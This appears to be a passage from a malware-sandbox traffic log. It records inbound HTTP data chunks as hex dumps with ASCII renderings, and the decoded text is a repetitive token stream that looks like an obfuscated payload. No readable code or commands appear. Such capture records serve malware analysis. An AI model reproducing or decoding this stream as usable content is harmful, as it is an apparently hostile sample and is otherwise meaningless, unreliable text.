78 20 4f 4f 51 20 78 20 4f 4f 51 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 74 6f 20 78 20 52 59 20 78 20 52
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
Data Ascii:  RY x RY x RR x Rt x RY x kO x RR x Yo x tE x kO x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x 
RY x RY x RR x OOQ x OOQ x OOQ x RY x RY x to x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x 
RY x RY x RY x RY x RY x RY x RY x RY x RY x R
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2021-11-09 21:21:49 UTC 655 IN Data Raw: 6f 4f 20 78 20 4b 45 20 78 20 4f 78 59 20 78 20 4f 4f 78 20 78 20 6b 78 20 78 20 4f 78 45 20 78 20 52 59 20 78 
20 52 59 20 78 20 6b 59 20 78 20 74 45 20 78 20 4b 51 20 78 20 74 78 20 78 20 4f 4f 52 20 78 20 74 78 20 78 20 52 74 
20 78 20 74 52 20 78 20 52 52 20 78 20 4f 4f 4f 20 78 20 4f 4f 6b 20 78 20 74 51 20 78 20 4b 74 20 78 20 4b 51 20 78 20 
52 59 20 78 20 6b 4f 20 78 20 59 4b 20 78 20 4f 6f 4f 20 78 20 4f 78 51 20 78 20 74 52 20 78 20 52 52 20 78 20 4f 78 51 
20 78 20 51 74 20 78 20 52 6b 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 6b 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 
4f 6b 20 78 20 59 52 20 78 20 52 59 20 78 20 4f 78 52 20 78 20 6b 51 20 78 20 59 78 20 78 20 4b 6b 20 78 20 4b 74 20 
78 20 4b 74 20 78 20 59 59 20 78 20 4b 74 20 78 20 6b 59 20 
Data Ascii: oO x KE x OxY x OOx x kx x OxE x RY x RY x kY x tE x KQ x tx x OOR x tx x Rt x tR x RR x OOO x OOk x tQ 
x Kt x KQ x RY x kO x YK x OoO x OxQ x tR x RR x OxQ x Qt x Rk x OOo x Qk x kK x Kt x Kt x OOk x YR x RY x OxR x k
Q x Yx x Kk x Kt x Kt x YY x Kt x kY 

2021-11-09 21:21:49 UTC 671 IN Data Raw: 20 78 20 51 6b 20 78 20 4f 78 45 20 78 20 4b 74 20 78 20 4f 78 74 20 78 20 52 51 20 78 20 6b 52 20 78 20 59 
6f 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 20 4b 45 20 78 20 52 59 20 78 20 4b 45 20 78 20 74 78 20 78 20 4f 4f 4f 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 52 20 78 20 59 52 20 78 20 74 45 20 78 20 52 59 
20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 52 20 78 20 59 6f 20 78 20 59 78 20 78 20 74 78 20 78 20 
59 6f 20 78 20 4f 4f 6b 20 78 20 59 4f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 51 20 78 20 74 6b 20 78 20 6b 4f 20 78 
20 51 78 20 78 20 4f 4f 4f 20 78 20 4f 78 51 20 78 20 4f 78 78 20 78 20 59 6f 20 78 20 6b 78 20 78 20 59 4f 20 78 20 4b 74
20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 78 52 20 78 20 4f 
Data Ascii:  x Qk x OxE x Kt x Oxt x RQ x kR x Yo x Oxk x Oxx x KE x RY x KE x tx x OOO x RY x RY x RY x RY x tR x 
YR x tE x RY x OxE x RY x RY x kR x Yo x Yx x tx x Yo x OOk x YO x Kt x Kt x KQ x tk x kO x Qx x OOO x OxQ x Oxx x 
Yo x kx x YO x Kt x Kt x KE x OxR x O

2021-11-09 21:21:49 UTC 687 IN Data Raw: 4f 20 78 20 74 78 20 78 20 74 4f 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 6b 59 20 78 20 74 74 20 78 20 51 
51 20 78 20 74 4f 20 78 20 4b 6b 20 78 20 74 74 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 
4f 78 52 20 78 20 6b 74 20 78 20 4f 78 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 59 52 
20 78 20 6b 4f 20 78 20 74 74 20 78 20 4f 78 59 20 78 20 59 52 20 78 20 51 6b 20 78 20 52 6b 20 78 20 6b 59 20 78 20 
74 52 20 78 20 4f 78 51 20 78 20 74 74 20 78 20 59 52 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 6f 78 
20 78 20 4f 4f 51 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 4f 6f 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 52 59 20 78 
20 59 4b 20 78 20 74 6b 20 78 20 74 74 20 78 20 4f 4f 6b 20 
Data Ascii: O x tx x tO x OOO x RY x kY x tt x QQ x tO x Kk x tt x OOo x RY x RY x tQ x OxR x kt x OxY x RY x RY x RY 
x OxE x YR x kO x tt x OxY x YR x Qk x Rk x kY x tR x OxQ x tt x YR x Oxt x RY x RY x Oox x OOQ x Rk x kO x OoO x 
Oxt x RY x RY x YK x tk x tt x OOk 

2021-11-09 21:21:49 UTC 703 IN Data Raw: 78 20 52 51 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4f 78 78 20 
78 20 6b 4f 20 78 20 4f 78 52 20 78 20 4b 74 20 78 20 74 78 20 78 20 51 78 20 78 20 4f 78 52 20 78 20 52 52 20 78 20 6b 
4f 20 78 20 52 59 20 78 20 52 6b 20 78 20 74 4b 20 78 20 4f 4f 51 20 78 20 4b 51 20 78 20 6b 74 20 78 20 74 52 20 78 20 
59 59 20 78 20 74 45 20 78 20 6b 78 20 78 20 4f 4f 59 20 78 20 74 59 20 78 20 74 45 20 78 20 74 6b 20 78 20 4f 78 6b 20 
78 20 59 6f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 78 20 78 20 4f 4f 51 20 78 20 74 45 20 78 20 4f 78 6b 20 78 20 74 
6b 20 78 20 59 78 20 78 20 74 45 20 78 20 4f 4f 52 20 78 20 74 6b 20 78 20 52 6b 20 78 20 74 45 20 78 20 4f 78 6b 20 78 
20 74 6b 20 78 20 59 45 20 78 20 74 45 20 78 20 4f 4f 52 
Data Ascii: x RQ x kO x RY x RY x Rk x Kt x Oxx x kO x OxR x Kt x tx x Qx x OxR x RR x kO x RY x Rk x tK x OOQ x KQ 
x kt x tR x YY x tE x kx x OOY x tY x tE x tk x Oxk x Yo x RY x Rt x tx x OOQ x tE x Oxk x tk x Yx x tE x OOR x tk x Rk x 
tE x Oxk x tk x YE x tE x OOR

2021-11-09 21:21:49 UTC 719 IN Data Raw: 20 6b 6b 20 78 20 4b 6b 20 78 20 4b 74 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 4b 20 78 
20 74 4b 20 78 20 6b 52 20 78 20 59 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 74 6b 20 78 20 4f 78 4b 
20 78 20 4f 78 6f 20 78 20 6b 4b 20 78 20 59 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 74 20 78 20 6b 4f 20 78 20 59 
4b 20 78 20 74 78 20 78 20 74 45 20 78 20 6b 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 74 6b 20 78 20 
4f 78 4b 20 78 20 4f 78 6f 20 78 20 6b 4b 20 78 20 59 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 74 20 78 20 6b 4f 20 
78 20 51 74 20 78 20 52 59 20 78 20 52 6b 20 78 20 74 74 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 6b 2
0 78 20 4f 78 4b 20 78 20 4f 78 6f 20 78 20 6b 4b 20 78 20 4b 51 
Data Ascii:  kk x Kk x Kt x Oxo x Kt x Kt x YK x tK x kR x Yx x RY x RY x Rt x tk x OxK x Oxo x kK x Yt x Kt x Kt x Yt x kO x 
YK x tx x tE x kx x RY x RY x Rt x tk x OxK x Oxo x kK x Yt x Kt x Kt x Yt x kO x Qt x RY x Rk x tt x kO x RY x Rt x tk x Ox
K x Oxo x kK x KQ

2021-11-09 21:21:49 UTC 735 IN Data Raw: 51 20 78 20 4f 78 52 20 78 20 52 51 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4f 
78 78 20 78 20 4f 78 6f 20 78 20 4f 78 52 20 78 20 4f 4f 4f 20 78 20 6b 45 20 78 20 4f 78 6b 20 78 20 4f 4f 4f 20 78 20 52 
59 20 78 20 52 59 20 78 20 74 45 20 78 20 6b 78 20 78 20 52 51 20 78 20 52 6b 20 78 20 6b 78 20 78 20 59 74 20 78 20 
4b 51 20 78 20 4b 45 20 78 20 74 45 20 78 20 4f 4f 6b 20 78 20 6b 51 20 78 20 59 74 20 78 20 59 74 20 78 20 4f 4f 59 20 
78 20 51 6b 20 78 20 59 78 20 78 20 4b 6b 20 78 20 6b 78 20 78 20 4b 74 20 78 20 74 78 20 78 20 6b 6f 20 78 20 6b 4b 
20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 51 20 78 20 4f 78 45 20 78 20 59 4b 20 78 20 
6b 6b 20 78 20 4f 78 74 20 78 20 59 74 20 78 20 4b 74 20 78 
Data Ascii: Q x OxR x RQ x kO x RY x Rk x Kt x Oxx x Oxo x OxR x OOO x kE x Oxk x OOO x RY x RY x tE x kx x RQ x 
Rk x kx x Yt x KQ x KE x tE x OOk x kQ x Yt x Yt x OOY x Qk x Yx x Kk x kx x Kt x tx x ko x kK x RY x kO x RY x RR x 
OxQ x OxE x YK x kk x Oxt x Yt x Kt x

2021-11-09 21:21:49 UTC 751 IN Data Raw: 20 6b 78 20 78 20 4b 74 20 78 20 6b 74 20 78 20 74 51 20 78 20 4b 74 20 78 20 4f 4f 74 20 78 20 74 52 20 78 
20 59 52 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 51 20 78 20 74 51 20 78 20 4b 74 20 78 20 74 6b 20 78 20 4b 51 20 
78 20 74 4b 20 78 20 4f 78 6b 20 78 20 6b 78 20 78 20 4b 74 20 78 20 74 78 20 78 20 6b 6f 20 78 20 4f 78 52 20 78 20 52 
74 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 52 20 78 20 6b 78 20 78 20 6b 59 20 78 20 4f 6f 6f 20 78 20 
52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 52 20 78 20 59 78 20 78 20 74 4f 20 78 20 4f 4f 4f 20 78 
20 74 45 20 78 20 6b 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 6b 6b 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 4f 4f 6f 
20 78 20 6b 4b 20 78 20 4f 78 59 20 78 20 4b 74 20 78 20 52 
Data Ascii:  kx x Kt x kt x tQ x Kt x OOt x tR x YR x to x kO x RQ x tQ x Kt x tk x KQ x tK x Oxk x kx x Kt x tx x ko x OxR x 
Rt x kO x RY x Rt x tR x kx x kY x Ooo x RY x kO x RY x Rt x tR x Yx x tO x OOO x tE x kY x Kt x Kt x kk x Qt x OxE x 
OOo x kK x OxY x Kt x R

2021-11-09 21:21:49 UTC 767 IN Data Raw: 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 20 4b 6b 20 78 20 74 51 20 78 20 4f 78 52 20 78 20 52 74 20 78 20 
4b 74 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 78 59 20 78 20 59 4f 20 78 20 6b 59 20 78 20 74 74 20 
78 20 51 78 20 78 20 4f 78 52 20 78 20 4f 78 74 20 78 20 4f 78 4f 20 78 20 52 6b 20 78 20 59 6f 20 78 20 6b 4f 20 78 20 4f 
4f 6b 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 59 20 78 20 6b 6b 20 78 20 6b 6b 20 78 
20 4f 4f 4f 20 78 20 4f 78 59 20 78 20 4b 6b 20 78 20 6b 6b 20 78 20 4f 4f 4f 20 78 20 52 6b 20 78 20 59 59 20 78 20 51 
51 20 78 20 52 59 20 78 20 51 78 20 78 20 4f 78 52 20 78 20 4b 6b 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 6f 20 78 
20 6b 52 20 78 20 74 78 20 78 20 74 51 20 78 20 6b 52 
Data Ascii:  x Oxk x Oxx x Kk x tQ x OxR x Rt x Kt x Oxo x Kt x Kt x OxY x YO x kY x tt x Qx x OxR x Oxt x OxO x Rk x Yo 
x kO x OOk x RY x kO x RY x RY x OxY x kk x kk x OOO x OxY x Kk x kk x OOO x Rk x YY x QQ x RY x Qx x OxR x Kk x 
OxE x RY x to x kR x tx x tQ x kR
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2021-11-09 21:21:49 UTC 783 IN Data Raw: 78 6f 20 78 20 4b 74 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 4f 6f 6f 20 78 20 4b 74 20 78 20 4f 78 78 20 78 
20 6b 4f 20 78 20 4f 78 4b 20 78 20 6b 74 20 78 20 4b 74 20 78 20 4f 6f 78 20 78 20 6b 59 20 78 20 4b 6b 20 78 20 4f 4f 
51 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 6b 20 78 20 4b 51 20 78 20 59 59 20 78 20 74 4b 20 78 20 
4f 4f 51 20 78 20 4b 51 20 78 20 6b 74 20 78 20 74 52 20 78 20 59 59 20 78 20 74 45 20 78 20 6b 78 20 78 20 4f 4f 59 20 
78 20 6b 4f 20 78 20 74 4f 20 78 20 51 74 20 78 20 52 6b 20 78 20 51 78 20 78 20 51 51 20 78 20 52 59 20 78 20 52 59 
20 78 20 51 74 20 78 20 4f 78 52 20 78 20 59 4b 20 78 20 74 6b 20 78 20 6b 6f 20 78 20 51 51 20 78 20 74 4b 20 78 20 4f 
4f 45 20 78 20 52 59 20 78 20 74 78 20 78 20 52 6b 20 78 20 
Data Ascii: xo x Kt x Oxx x kO x Ooo x Kt x Oxx x kO x OxK x kt x Kt x Oox x kY x Kk x OOQ x kY x RY x RY x kk x KQ x 
YY x tK x OOQ x KQ x kt x tR x YY x tE x kx x OOY x kO x tO x Qt x Rk x Qx x QQ x RY x RY x Qt x OxR x YK x tk x ko x 
QQ x tK x OOE x RY x tx x Rk x 

2021-11-09 21:21:49 UTC 799 IN Data Raw: 59 20 78 20 52 59 20 78 20 74 74 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 4f 45 20 78 20 74 78 20 78 20 
74 78 20 78 20 4f 4f 45 20 78 20 74 52 20 78 20 4f 6f 78 20 78 20 4f 4f 6b 20 78 20 4f 78 6f 20 78 20 4f 78 59 20 78 20 52 
6b 20 78 20 59 45 20 78 20 52 6b 20 78 20 52 52 20 78 20 59 74 20 78 20 59 74 20 78 20 4f 78 74 20 78 20 74 52 20 78 
20 4f 6f 4f 20 78 20 74 78 20 78 20 74 6f 20 78 20 4f 4f 4f 20 78 20 74 6f 20 78 20 6b 59 20 78 20 4f 78 74 20 78 20 52 59 
20 78 20 52 59 20 78 20 74 78 20 78 20 4f 78 51 20 78 20 59 59 20 78 20 52 74 20 78 20 6b 78 20 78 20 52 52 20 78 20 
52 59 20 78 20 52 59 20 78 20 74 78 20 78 20 4f 78 51 20 78 20 74 4b 20 78 20 6b 6f 20 78 20 4b 6b 20 78 20 52 74 20 
78 20 74 4b 20 78 20 6b 6b 20 78 20 4f 78 6f 20 78 20 4f 6f 
Data Ascii: Y x RY x tt x YR x Oxk x OOE x tx x tx x OOE x tR x Oox x OOk x Oxo x OxY x Rk x YE x Rk x RR x Yt x Yt x 
Oxt x tR x OoO x tx x to x OOO x to x kY x Oxt x RY x RY x tx x OxQ x YY x Rt x kx x RR x RY x RY x tx x OxQ x tK x ko x 
Kk x Rt x tK x kk x Oxo x Oo

2021-11-09 21:21:49 UTC 815 IN Data Raw: 20 52 74 20 78 20 74 52 20 78 20 4f 6f 78 20 78 20 4f 4f 74 20 78 20 4f 78 4b 20 78 20 51 51 20 78 20 59 78 20 
78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 51 74 20 78 20 4f 78 6b 20 78 20 4f 6f 4f 20 78 20 74 52 20 78 20 4f 
6f 78 20 78 20 4f 4f 74 20 78 20 4f 78 4b 20 78 20 6b 4b 20 78 20 59 78 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 
78 20 51 74 20 78 20 4f 78 59 20 78 20 4b 45 20 78 20 74 52 20 78 20 4f 6f 78 20 78 20 4f 4f 74 20 78 20 4f 78 4b 20 78 
20 74 59 20 78 20 59 78 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 51 74 20 78 20 4f 78 59 20 78 20 4f 78 
59 20 78 20 74 52 20 78 20 4f 6f 78 20 78 20 4f 4f 74 20 78 20 4f 78 4b 20 78 20 52 52 20 78 20 59 78 20 78 20 6b 78 20 
78 20 4b 74 20 78 20 4b 74 20 78 20 51 74 20 78 20 4f 78 
Data Ascii:  Rt x tR x Oox x OOt x OxK x QQ x Yx x kx x Kt x Kt x Qt x Oxk x OoO x tR x Oox x OOt x OxK x kK x Yx x kx x 
Kt x Kt x Qt x OxY x KE x tR x Oox x OOt x OxK x tY x Yx x kx x Kt x Kt x Qt x OxY x OxY x tR x Oox x OOt x OxK x RR x 
Yx x kx x Kt x Kt x Qt x Ox

2021-11-09 21:21:49 UTC 831 IN Data Raw: 6b 20 78 20 6b 59 20 78 20 74 4f 20 78 20 51 74 20 78 20 74 4b 20 78 20 4f 4f 6b 20 78 20 6b 4f 20 78 20 52 
6b 20 78 20 59 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4f 20 78 20 4f 78 59 20 78 20 52 6b 20 78 
20 6b 51 20 78 20 52 59 20 78 20 52 59 20 78 20 74 78 20 78 20 51 74 20 78 20 74 6b 20 78 20 4f 78 4b 20 78 20 6b 4f 
20 78 20 74 52 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 74 20 78 20 6b 6b 20 78 20 6b 59 20 78 20 74 
4f 20 78 20 51 74 20 78 20 74 4b 20 78 20 4f 4f 6b 20 78 20 6b 4f 20 78 20 52 6b 20 78 20 59 4b 20 78 20 4b 74 20 78 20 
4b 74 20 78 20 4b 74 20 78 20 4f 4f 4f 20 78 20 51 51 20 78 20 4f 6f 6f 20 78 20 6b 51 20 78 20 52 59 20 78 20 52 59 20 
78 20 74 78 20 78 20 51 74 20 78 20 74 6b 20 78 20 4f 78 4b 20 
Data Ascii: k x kY x tO x Qt x tK x OOk x kO x Rk x Yo x Kt x Kt x Kt x OOO x OxY x Rk x kQ x RY x RY x tx x Qt x tk x O
xK x kO x tR x YK x Kt x Kt x Yt x kk x kY x tO x Qt x tK x OOk x kO x Rk x YK x Kt x Kt x Kt x OOO x QQ x Ooo x kQ x RY 
x RY x tx x Qt x tk x OxK 

2021-11-09 21:21:49 UTC 847 IN Data Raw: 74 52 20 78 20 4f 6f 6f 20 78 20 4f 6f 6f 20 78 20 4f 4f 6b 20 78 20 6b 6f 20 78 20 4f 78 78 20 78 20 6b 45 20 78 
20 74 51 20 78 20 74 78 20 78 20 4f 6f 78 20 78 20 59 4f 20 78 20 6b 59 20 78 20 4f 78 6f 20 78 20 4f 78 59 20 78 20 4b 
6b 20 78 20 6b 51 20 78 20 4b 6b 20 78 20 4f 78 59 20 78 20 6b 59 20 78 20 6b 6b 20 78 20 59 52 20 78 20 4f 78 59 20 
78 20 4f 4f 51 20 78 20 51 74 20 78 20 74 52 20 78 20 4f 6f 6f 20 78 20 4f 4f 6b 20 78 20 59 74 20 78 20 6b 4f 20 78 20 51 
74 20 78 20 74 4f 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 4f 78 59 20 78 20 59 74 20 78 20 4f 78 52 20 78 20 4f 4f 4f 20 
78 20 4f 78 4b 20 78 20 74 51 20 78 20 74 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 51 20 78 20 52 74 20 78 20 74 
52 20 78 20 6b 6f 20 78 20 4f 78 6f 20 78 20 4f 6f 
Data Ascii: tR x Ooo x Ooo x OOk x ko x Oxx x kE x tQ x tx x Oox x YO x kY x Oxo x OxY x Kk x kQ x Kk x OxY x kY x kk 
x YR x OxY x OOQ x Qt x tR x Ooo x OOk x Yt x kO x Qt x tO x OOO x RY x OxY x Yt x OxR x OOO x OxK x tQ x to x Kt x 
Kt x KQ x Rt x tR x ko x Oxo x Oo

2021-11-09 21:21:49 UTC 863 IN Data Raw: 20 78 20 52 52 20 78 20 4f 78 4f 20 78 20 4f 4f 51 20 78 20 59 78 20 78 20 4f 4f 6f 20 78 20 6b 4f 20 78 20 4b 
74 20 78 20 4f 6f 6f 20 78 20 51 78 20 78 20 4f 4f 4f 20 78 20 4f 6f 4f 20 78 20 6b 78 20 78 20 6b 52 20 78 20 52 59 20 78 
20 52 59 20 78 20 74 51 20 78 20 4f 78 4b 20 78 20 59 45 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 51 74 20 78 20 74 74 20 78 20 4f 4f 51 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 
4b 74 20 78 20 4f 78 78 20 78 20 4f 78 45 20 78 20 6b 6f 20 78 20 4f 4f 4f 20 78 20 4b 45 20 78 20 6b 78 20 78 20 74 4b 
20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 4f 78 4b 20 78 20 4f 4f 78 20 78 20 74 4b 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 59 52 20 
Data Ascii:  x RR x OxO x OOQ x Yx x OOo x kO x Kt x Ooo x Qx x OOO x OoO x kx x kR x RY x RY x tQ x OxK x YE x 
tK x RY x RY x RY x Qt x tt x OOQ x Rt x RY x RY x Rk x Kt x Oxx x OxE x ko x OOO x KE x kx x tK x RY x RY x tQ x 
OxK x OOx x tK x RY x RY x RY x OxE x YR 

2021-11-09 21:21:49 UTC 879 IN Data Raw: 6f 20 78 20 59 78 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 59 20 78 20 74 74 20 78 20 51 51 
20 78 20 74 78 20 78 20 59 6f 20 78 20 74 74 20 78 20 4f 78 4b 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 74 78 20 78 20 4f 78 78 20 
78 20 6b 4b 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 78 52 20 78 20 59 45 20 78 20 74 7
4 20 78 20 4f 78 4b 20 78 20 52 52 20 78 20 52 59 20 78 20 74 59 20 78 20 74 6f 20 78 20 4f 78 74 20 78 20 4f 6f 4f 20 78 
20 52 51 20 78 20 52 51 20 78 20 52 59 20 78 20 74 51 20 78 20 59 52 20 78 20 74 6b 20 78 20 4b 6b 20 78 20 52 51 20 
78 20 6b 51 20 78 20 4b 51 20 78 20 74 6b 20 78 20 59 74 20 78 20 
Data Ascii: o x Yx x kY x RY x RY x kY x tt x QQ x tx x Yo x tt x OxK x RR x RY x RY x RQ x RY x RY x RY x Rk x Kt x tx 
x Oxx x kK x RY x kO x RY x Rt x OxR x YE x tt x OxK x RR x RY x tY x to x Oxt x OoO x RQ x RQ x RY x tQ x YR x tk x 
Kk x RQ x kQ x KQ x tk x Yt x 

2021-11-09 21:21:49 UTC 895 IN Data Raw: 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 59 78 20 78 20 74 78 20 78 20 52 59 20 78 20 4f 
4f 6b 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 51 20 78 20 52 52 20 78 20 4f 78 51 20 78 20 4f 78 59 
20 78 20 51 6b 20 78 20 4b 6b 20 78 20 52 59 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 
59 4b 20 78 20 74 74 20 78 20 52 51 20 78 20 6b 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 74 20 78 
20 4f 78 52 20 78 20 6b 51 20 78 20 6b 59 20 78 20 52 74 20 78 20 4b 74 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 2
0 78 20 6b 52 20 78 20 4b 51 20 78 20 52 52 20 78 20 4f 78 51 20 78 20 4f 78 59 20 78 20 51 6b 20 78 20 4b 6b 20 78 20 
52 59 20 78 20 4b 74 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 
Data Ascii: RY x RY x RY x tE x Yx x tx x RY x OOk x OOK x Kt x Kt x KQ x RR x OxQ x OxY x Qk x Kk x RY x KE x OOk 
x Kt x Kt x YK x tt x RQ x ko x RY x RY x RR x kt x OxR x kQ x kY x Rt x Kt x kx x Kt x Kt x kR x KQ x RR x OxQ x OxY x 
Qk x Kk x RY x Kt x kx x Kt x Kt

Timestamp
kBytes
transferred Direction Data
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2021-11-09 21:21:49 UTC 911 IN Data Raw: 4f 45 20 78 20 6b 6b 20 78 20 74 78 20 78 20 4f 78 6f 20 78 20 4f 4f 4f 20 78 20 4f 78 51 20 78 20 52 59 20 78 
20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 6b 6b 20 78 20 52 59 20 78 20 6b 74 20 78 20 6b 52 
20 78 20 4f 78 6b 20 78 20 4b 6b 20 78 20 74 6f 20 78 20 59 6f 20 78 20 4f 4f 6b 20 78 20 74 6f 20 78 20 59 4b 20 78 20 4f 
6f 78 20 78 20 59 78 20 78 20 52 6b 20 78 20 4f 4f 51 20 78 20 6b 6f 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 4f 4f 51 20 
78 20 74 59 20 78 20 74 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 59 20 78 20 6b 4b 20 78 20 51 74 
20 78 20 4f 78 45 20 78 20 4f 4f 6f 20 78 20 6b 74 20 78 20 4b 74 20 78 20 59 59 20 78 20 52 51 20 78 20 51 51 20 78 20 
52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
Data Ascii: OE x kk x tx x Oxo x OOO x OxQ x RY x OxE x RY x RY x tE x kk x RY x kt x kR x Oxk x Kk x to x Yo x OOk x 
to x YK x Oox x Yx x Rk x OOQ x ko x Rk x OOO x OOQ x tY x to x Kt x Kt x KE x OOY x kK x Qt x OxE x OOo x kt x Kt x 
YY x RQ x QQ x RR x RY x RY x RY

2021-11-09 21:21:49 UTC 927 IN Data Raw: 59 52 20 78 20 4f 78 6b 20 78 20 4f 4f 78 20 78 20 74 74 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 
20 6b 78 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 78 51 20 78 20 74 74 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 
59 20 78 20 6b 78 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 78 6b 20 78 20 74 74 20 78 20 74 4b 20 78 20 52 59 20 
78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 78 74 20 78 20 74 74 20 78 20 74 4b 20 78 20 5
2 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 78 52 20 78 20 74 74 20 78 20 74 4b 20 
78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 4f 4b 20 78 20 74 74 20 78 20 74 
4b 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 
Data Ascii: YR x Oxk x OOx x tt x tK x RY x RY x kx x YR x Oxk x OxQ x tt x tK x RY x RY x kx x YR x Oxk x Oxk x tt x tK 
x RY x RY x kx x YR x Oxk x Oxt x tt x tK x RY x RY x kx x YR x Oxk x OxR x tt x tK x RY x RY x kx x YR x Oxk x OOK x t
t x tK x RY x RY x kx x YR 

2021-11-09 21:21:49 UTC 943 IN Data Raw: 20 52 59 20 78 20 74 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 78 45 20 78 20 52 52 20 78 
20 4b 51 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 
78 20 6b 6b 20 78 20 52 59 20 78 20 52 51 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 6b 4b 20 78 20 4f 78 45 20 78 20 
52 59 20 78 20 59 6f 20 78 20 52 59 20 78 20 74 78 20 78 20 74 45 20 78 20 52 59 20 78 20 6b 52 20 78 20 52 59 20 78 2
0 52 52 20 78 20 74 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 52 20 78 20 4f 4f 51 20 
